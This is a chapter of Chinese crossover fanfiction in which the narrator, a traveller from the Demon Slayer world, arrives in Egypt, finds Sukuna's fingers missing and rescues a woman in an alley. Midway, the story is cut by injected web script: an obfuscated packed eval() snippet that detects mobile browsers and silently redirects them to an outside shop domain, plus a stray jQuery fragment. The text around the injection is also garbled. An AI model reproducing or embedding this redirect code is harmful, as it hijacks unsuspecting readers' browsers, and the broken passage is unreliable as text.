命运似乎很喜欢跟我开玩笑。
总觉得眼前这一幕似曾相识。
我深深吸了一口气,又缓缓呼出,试图让自己平静下来。
没事哒,没事哒......没事才怪吧!
不管怎么说,穿越开局就是沙漠也太过分了吧。
无需怀疑,我又穿越了。
我站在不知名建筑的高处,头顶的太阳无情地炽烤着我,让我忍不住用手给自己扇了扇风--好热,还好我现在不是鬼,不然开局就再起不能了。
毕竟,现在可找不到什么阴影。
被强光刺激,我将手挡在前额,眯着眼。眼前是广袤的沙漠,延绵不断的沙丘铺陈在天地间,明亮的阳光洒在砂砾上,汇聚成金色的海洋。
啊,金色海洋。
我如梦初醒,猛地掏了掏自己的衣袖,检查自己随身携带的东西--一些饴糖、几个散钱,一小块金疙瘩就别无它物。
可恶!我之前见义勇为所得的一莲花宝座的财宝!都没了!
我感觉自己特别想哭,但是总觉得一哭泪水就会直接蒸发,在这沙漠里显得太过奢侈。
我本身只是为在出门溜达,手头除了一些小东西其他根本什么也没有,更别说我辛苦攒的钱了!
我感觉自己心痛万分,简直快要不能呼吸了!
不过,应该还有点什么。
我掀开衣服,掏出了一直绑在腿上的精致香囊。
指尖一触摸到香囊我就忍不住皱起了眉头,里面空空如也--这里本该装着两根两面宿傩的手指的!
检查了袋子的底部,嗯,没有破洞;往里面扔点散钱,没有直接不翼而飞,看来是没有什么异空间。而我能确定没有人曾经掀开过我的衣服来偷取宿傩手指。
那么两面宿傩的手指究竟去了哪儿了?这难道会是我穿越的原因吗?
我暂时无法得出答案。
两面宿傩的手指毕竟非同小可,作为咒物在咒术师口中它能吸引不祥的东西。虽然在我身边时倒是没发生什么,我也从来没放松警惕过。
不过毕竟现在线索不足,我也只能压下心中的疑惑,关心起目前最关键的问题。
现在的问题是,我这到底来了哪?
我的脚下是一堆磨光的石灰石,看起来排列得很是整齐。站在高处,转一个方向,甚至能看到几坨三角锥形的建筑和一个像是一尊动物般的石像。这些建筑旁还有小如蚂蚁般的人穿着短袖,背着背包,带着墨镜,举着相机不停地拍着什么。
难道我回到原本的时代了?我有些欣喜,但看着这群人如同游客的姿态,又压住了喜悦,某种不妙的猜想来到心头。
咦,难道是景点吗?
我愣住了,抬了抬脚,低头看着脚下的光洁的石板。
话说回来,沙漠里光洁的石块形成的高大建筑,难不成是......
忽然感到某种被窥伺的感觉,我凝眸向远处看去,有人的相机正朝这边过来,他已经要按下快门了。
不妙!
我从建筑的背面一步跳下,避免自己成为破坏世界物质文化遗产的罪人--还是先跑为敬!
远处的杰夫看着自己的镜头,高兴振臂,“我就说埃及金字塔这里肯定有法老的幽灵,我都已经拍下来了!”
同一个旅行团的众人显然受够了这位法老幽灵论者,听到这话依旧是该干嘛干嘛。
杰夫并不气馁,他转头向着接待旅行团的男人问道,“你相信我,我真的拍到了!那个幽灵就站在胡夫金字塔的顶端!”
同一个旅行团的欧因哥在墨镜下翻了个白眼,随意瞄了一眼被顶到自己眼前的画面--除了金字塔明明是什么都没有吗?
欧因哥摊了摊手,撇了一眼杰夫,然后向着旅行团内的女士无奈地耸了耸肩,“小哥,你是不是热昏眼花了,把什么鸟看作幽灵了吧,我们这里可没有什么法老的幽灵哦。”
欧因哥并不打算理会这个聒噪的外国人的天马行空,谁家幽灵能在大白天出现。
他听着杰夫惊讶地大喊“nonono”然后不住地辩解,忍不住心想,这个外国人真是疯了,要不待会干脆打晕他抢了他的东西算了,那个相机应该很贵吧。
欧因哥感觉自己的笑容难得真诚了些,“小哥,走吧,我带你去后面买点水吧。”然后就把你的钱全部抢光光。他搂着失意的杰夫往着一处走去,眼角余光却瞥见了一个身穿和服的奇怪女人。
大概是别的旅行团来的外国人吧。欧因哥没有细想,继续强硬地搂着杰夫离开。
我停下了脚步,装作在阴影处休息的样子,直到两个男人离开。旅行团的女士们不在乎地继续嬉笑着,没有人注意杰夫提到的幽灵。
太好了,没人发现。
我忍不住舒一口气,内心赞叹自己反应及时。
要是被人留下了罪证,我现在可没有钱能交罚金呢。
为自己的囊中羞涩叹了口气,我开始思考着新的问题--不是啊,如果这真的是我想的埃及了话,怎么所有人都在说霓虹语啊?
*
不过没时间为这点纠结了,霓虹语至少是我掌握的一门语言,埃及话了话我只会“你好”。
放弃了思考显然给我带来了不少好处,我麻木地用霓虹语与当地人交谈,确定了这里是埃及开罗;然后麻木地用霓虹语讨价还价,典当了一部分金疙瘩;麻木地用霓虹语向当地人买了现代服饰......
当我小心翼翼收好了织子阿姨给我做的和服时,我躺在开罗的某间民宅的屋顶上,望着群星璀璨的夜空,将思绪放空。
别再想思考为什么全世界都在说霓虹话了,总感觉吐槽这点好像就输了。就先在外面将就一晚吧,毕竟手上的钱也不多了,而且附近好像没什么人招工啊。
不知道歌和缘一严胜他们怎么样了,我一莲花宝座的财宝还被我埋在某棵树底下呢,要是早知道穿越了把这个藏宝点告诉歌了。我房间里还攒着不少虫笼呢,趁着价钱好的时候谁能帮我卖掉它们呢?
睡前似乎很容易被某种情绪感染,我想着认识的人们,一时心里有些低落。还没来得及告别,不知道大家会不会被吓到。还没去看看恋雪告白成功了吗,妓夫太郎和梅未来打算怎么发展,还没看见小萝卜头们的成长,也没有再去感谢织子阿姨。
我觉得心里酸酸的,只能苦中作乐安慰自己,好歹打倒了鬼舞辻无惨,否则放任那个祸害的存在,我恐怕永远都无法安下心来。
不过想起鬼舞辻无惨,我终于发觉自己忘记了什么--那个奇怪的血鬼术。
血鬼术--你是否还在困扰于垃圾工作,你是否深感被工作、垃圾上司害惨了。一旦你将雇佣你的人**,你将继承ta的**<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13734286|142476||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>虽然这好像填字猜谜的游戏让我摸不着头脑,但是我能确定的是这个血鬼术确实存在。
只不过,血鬼术是否生效了呢?
虽然不知道**这个血鬼术生效的前置条件是什么,但是如果是蛐蛐、背刺甚至是【杀死】我都做到了,但是我却还没感觉到自己得到了什么。
而且继承了话,意思是雇主得死去吧。那么,鬼舞辻无惨已死,我有得到什么吗?
我举着双手,对着夜空,试图从中找到什么,但夜空并没有给我启示,星星依旧一闪一闪亮晶晶。
我得不到答案,还没来得及黯然神伤,却突然感觉有种被窥视的感觉。我寒毛直起,不由警惕起来,在这屋顶上观察着四周--不是吧,难道连屋顶都要拍?
只是这种感觉仅仅一瞬,后续便难以捕捉。
是错觉吗?
我看着自己手臂上竖起的汗毛,还是不敢放松--那感觉比起毒蛇爬上,更像是脖颈处已经被无形的绳索捆住,直叫人忍不住挣扎。
可是纵使我努力探查,却一无所获。
总不能真有法老鬼魂来索命吧?
远处的巷子传来了声音,我被打断了思考,凝眸往那看去。
一群喝醉酒的男人在那里晃悠,手上甩着酒瓶,嘴里说着什么。
如果只是醉汉打架我并不在意,但是其中一个醉汉似乎拉住了过路的女人,充满酒臭的嘴说着些不干净的话。
过路的女人皱着眉,使劲挣扎却依旧拉不开被拽住的手。其他的醉汉也凑了过去,嬉嬉笑笑的,没人阻止他的举动。
啧。
我翻身下屋,用着比正常人稍快一些的速度在巷中穿梭。
巷子弯弯绕绕的,我赶过去花了一些时间。
那个醉汉的言语纠缠都要化为暴力行动了,他将酒瓶往地上一摔,涨红的脸就像是卤猪头一样,喷着浓郁的气味。
“不好意思,这是我朋友。”我没理会醉汉的眼神,直接走到女人身边,维持着一丝虚假的微笑,使着力,敲上了男人的手肘,将男子的纠缠的手移开。
那张猪脸立马由红转青,他瞪大了双眼,那只手不受控制地颤抖。
“你是哪来的臭娘们?”他说话时还喷出唾沫星子,愤怒的表情和醉意显然让他忽略了很多不和常理的东西,他甚至觉得自己是自愿将手移开的。
“好没礼貌啊。”醉汉看着那个不知何时赶来的女人微微皱起了眉头,本来挂着微笑的脸骤然露出嫌弃的表情。
醉汉还想说点什么,然而,还没来得及做什么,他就感觉身体一阵剧痛,然后眼前一黑,再也听不见什么了。
莱拉看着巷子里倒了一片的醉汉,又看着面色平静的黑发女人,忍不住张大了嘴。
“现在没事了,美丽的小姐,我有这个荣幸能护送你回家吗?”那个黑发女人向其递出了手。就是这个手刚刚直接掀翻了所有人。
莱拉小心翼翼将手放在上面,轻轻呀了一声,带着她一起走进巷子,“感谢你的帮助,这位女士,我该怎么称呼你呢?”
黑发女人的沉默了片刻,她的目光维移,看向某处又极快地收了回来,简直就像是莱拉的错觉。
许久,在黑暗中,莱拉才听见了黑发女人的回答。
“月彦,叫我月彦吧。”女人的声音淡淡的,但是莱拉却觉得她好像在笑。